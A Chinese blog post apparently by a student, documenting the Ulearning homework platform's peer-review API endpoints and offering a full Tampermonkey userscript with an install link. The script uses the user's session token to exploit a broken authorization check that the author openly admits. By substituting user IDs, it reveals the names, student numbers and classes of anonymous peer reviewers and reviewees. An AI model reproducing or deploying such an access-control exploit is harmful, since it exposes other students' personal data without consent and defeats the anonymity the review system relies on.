2023-04-05
油猴脚本
00
请注意,本文编写于 744 天前,最后修改于 40 天前,其中某些信息可能已经过时。

目录

优学院互评作业信息获取及自动化脚本
1. 互评作业的评价信息获取
请求参数说明
返回数据结构
2. 获取你对他人作业的评价信息
请求参数说明
返回数据结构
3. 用户信息获取
请求参数说明
返回数据结构
4. 自动化获取信息的油猴脚本
5.在线安装

优学院互评作业信息获取及自动化脚本

在优学院上的互评作业系统中,用户无法直观地看到是谁评价了自己的作业,也看不到自己评价的是哪位同学的作业。由于无法得知他人对自己评分的具体情况,用户体验欠佳。因此,作为一名计算机专业学生,我决定通过抓包分析来获取互评的详细信息。


1. 互评作业的评价信息获取

通过抓包分析,我们发现以下 URL 返回了其他同学对你作业的评价信息:

https://homeworkapi.ulearning.cn/stuHomework/homeworkDetail/{homeWorkID}/{userID}/{classID}

请求参数说明

  • 请求方法:GET
名称位置类型必选说明
homeWorkIDpathstring作业ID
userIDpathstring用户ID
classIDpathstring课程ID
Authorizationheaderstring授权令牌

返回数据结构

返回数据中,peerReviewHomeworkList 字段包含了评价你作业的同学列表,其中每位同学的部分信息被屏蔽(例如学号、姓名等),数据结构如下:

json5
"peerReviewHomeworkList": [ { "userID": 1111111, // 评价同学的ID "studentID": "***", // 评价同学的学号(隐藏) "name": "***", // 评价同学的姓名(隐藏) "headimage": "***", // 评价同学的头像(隐藏) "peerReviewID": 2222222, // 评价同学的作业ID "score": 85.0, // 评价分数 "comment": null, // 评价评语 "updateTime": 1653874067000, // 最后修改时间 "isPeerReviewTime": 0 // 是否在互评时间内 }, ... ]

2. 获取你对他人作业的评价信息

以下 URL 返回了你对他人作业的评价信息:

https://homeworkapi.ulearning.cn/stuHomework/peerReviewHomeworkDatil/{homeWorkID}/{userID}

请求参数说明

  • 请求方法:GET
名称位置类型必选说明
homeWorkIDpathstring作业ID
userIDpathstring用户ID
Authorizationheaderstring授权令牌

返回数据结构

返回数据中,result 字段包含了你评价的作业信息列表,数据结构如下:

json5
"result": [ { "userID": 1111111, // 被评价同学的ID "studentID": "***", // 被评价同学的学号(隐藏) "name": "***", // 被评价同学的姓名(隐藏) "headimage": "***", // 被评价同学的头像(隐藏) "peerReviewID": 333333, // 被评价作业ID "score": 85.0, // 评分 "comment": null, // 评语 "updateTime": 1653876201000, // 最后修改时间 "isPeerReviewTime": 3 // 是否在互评时间内 }, ... ]

3. 用户信息获取

通过不断抓包发现,以下 URL 返回了用户的学号、头像等信息:

https://homeworkapi.ulearning.cn/homework/historyStudentHomework/{userID}/{userID}/{classID}

请求参数说明

  • 请求方法:GET
名称位置类型必选说明
userIDpathstring用户ID
classIDpathstring课程ID
Authorizationheaderstring授权令牌

返回数据结构

返回数据中,user 字段包含了该用户的基本信息,数据结构如下:

json5
"user": { "userid": 111111, // 用户ID "loginname": "xxxxxxx", // 学号 "name": "", // 姓名 "headimage": "", // 头像 ... }

我们可以通过替换用户ID来获取他人的学号、头像等信息,这使得互评作业的同学信息可以被获取,尽管该鉴权机制存在明显漏洞。


4. 自动化获取信息的油猴脚本

为了简化信息获取流程,我编写了油猴脚本,通过自动发送请求,便捷获取互评作业相关的信息。以下是脚本代码:

javascript
// ==UserScript== // @name 优学院作业互评显示评分人名字 // @namespace https://greasyfork.org/zh-CN/users/953334 // @version 0.0.3 // @description 让我看看是谁给我的作业打了100分? // @author ZM25XC itsdapi // @match https://homework.ulearning.cn/ // @icon https://www.ulearning.cn/ulearning/favicon.ico // @run-at document-start // @grant unsafeWindow // @license MIT // ==/UserScript== (function () { 'use strict'; main() async function main() { try { const params = getParams() const homeworkData = await getHomeworkDetail(params.homeworkid, params.studentid, params.classid, params.token) const peerHomeworkData = await getPeerHomeworkDetail(params.homeworkid, params.studentid, params.token) const getHomeworkData = await buildInfoList(params.homeworkid,params.classid, homeworkData, params.token) const getPeerHomeworkData = await buildInfoList(params.homeworkid,params.classid, peerHomeworkData, params.token) await showHomework(getHomeworkData) await showPeerHomework(getPeerHomeworkData) } catch (error) { console.log(error) } } function getParams() { const url = window.unsafeWindow.location.href const match1 = /stuDetail/gm const target = url.substring(match1.exec(url).index + match1.toString().length - 3) const studentid = target.split('/')[0] const homeworkid = target.split('/')[1].split('?')[0] const match2 = /ocId/gm const classid = url.substring(match2.exec(url).index + match2.toString().length - 3) const cookies = document.cookie const token = /token.*?(;|$)/gm.exec(cookies)[0].substring(6).slice(0, -1) return { studentid, homeworkid, classid, token } } //获取评价同学userID async function getHomeworkDetail(homeworkid, studentid, classid, token) { const url = `https://homeworkapi.ulearning.cn/stuHomework/homeworkDetail/${homeworkid}/${studentid}/${classid}` const result = await send(url, token) return result.result.peerReviewHomeworkList } //获取评价任务同学userID async function getPeerHomeworkDetail(homeworkid, studentid, token) { const url = `https://homeworkapi.ulearning.cn/stuHomework/peerReviewHomeworkDatil/${homeworkid}/${studentid}` const result = await send(url, token) return result.result } //获取评价同学姓名 async function getInfo(homeworkid,classid, user_id, token) { let url = `https://homeworkapi.ulearning.cn/homework/historyStudentHomework/${user_id}/${user_id}/${homeworkid}` const result = await send(url, token) url=`https://courseapi.ulearning.cn/classes?ocId=${classid}&pn=1&ps=9999&userId=${user_id}&keyword=&lang=zh` const info=await send(url,token) if (info.list.length){ result.result.user["className"]=info.list[0].className }else { result.result.user["className"]=null; } return result.result.user } async function buildInfoList(homeworkid,classid, data, token) { let result_list = [] for (let i = 0; i < data.length; i++) { let result = await getInfo(homeworkid,classid, data[i].userID, token) result_list.push(result) } return result_list } async function showHomework(info) { await waitLoad() let peerHomeworkItemEle = document.querySelectorAll('.peermain') if (peerHomeworkItemEle.length !== 0) { for (let [index, scoreWrapper] of peerHomeworkItemEle.entries()) { scoreWrapper.insertAdjacentHTML('afterend', `<div>评价人:${info[index].name} 学号:${info[index].studentid} 班级:${info[index].className}</div>`) } } else { let myHomeworkEle = document.querySelectorAll('.stuworkdetails-zone') for (let _info of info) { myHomeworkEle[0].insertAdjacentHTML('afterend', `<div>等待评价:${(_info.name)} 学号:${_info.studentid} 班级:${_info.className}</div>`) } } } async function showPeerHomework(info) { await waitLoad() let peerHomeworkEle = document.querySelectorAll('.peer_host') for (let [index, scoreWrapper] of peerHomeworkEle.entries()) { scoreWrapper.insertAdjacentHTML('afterend', `<div>待评价人员:${info[index].name} 学号:${info[index].studentid} 班级:${info[index].className}</div>`) } } function waitLoad() { return new Promise((res) => { for (let index = 0; index < 10; index++) { setTimeout(() => { if (document.getElementById('app') !== null) { res() } }, 500); } }) } function send(url, token) { const xhr = new XMLHttpRequest() return new Promise((res, rej) => { xhr.open('GET', url, true) xhr.setRequestHeader("AUTHORIZATION", token) xhr.onreadystatechange = () => { if (xhr.readyState === XMLHttpRequest.DONE) { const status = xhr.status; if (status === 0 || (status >= 200 && status < 400)) { res(JSON.parse(xhr.responseText)) } else { rej(xhr.responseText) } } }; xhr.send() }) } })();

5.在线安装

  • 访问:https://greasyfork.org/zh-CN/scripts/464344

免责声明:此脚本仅供学习和测试之用,使用过程中可能涉及隐私信息泄露,请确保合理使用和遵守相关规定。对此脚本引发的任何后果,需自行承担责任。

本文作者:皓月归尘

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!